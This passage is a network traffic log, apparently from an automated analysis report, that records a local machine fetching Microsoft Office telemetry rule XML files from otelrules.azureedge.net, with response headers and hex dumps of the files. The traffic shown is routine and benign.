2024-11-20 05:40:37 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-185f5d8b95c4hl5whC1NYCeex000000009m000000000ssdb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49887	13.107.246.45	443	2200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:37 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-r1d97b995778dpcthC1TEB4b5400000008a0000000008ud0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-1777c6cb7549x5qchC1TEBggbg000000095g00000000dufs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-185f5d8b95c4hl5whC1NYCeex000000009r00000000094s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:38 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054038Z-185f5d8b95ctl8xlhC1NYCn94g00000009w0000000009n8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:38 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054038Z-1777c6cb754j47wfhC1TEB5wrw0000000530000000001ef7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:38 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054038Z-1777c6cb754rz2pghC1TEBghen000000091g00000000aeq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:38 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054038Z-185f5d8b95cx9g8lhC1NYCtgvc000000022g00000000pg6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:38 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: ccaf292f-701e-0001-41fa-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054039Z-r1d97b99577hc74hhC1TEBvbns000000088g00000000aphf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:39 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054039Z-r1d97b9957789nh9hC1TEBxha800000008ng000000002fg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:39 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-r1d97b99577l6wbzhC1TEB3fwn00000008ng000000001e2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:39 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-r1d97b99577tssmjhC1TEB8kan00000008b0000000007dsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
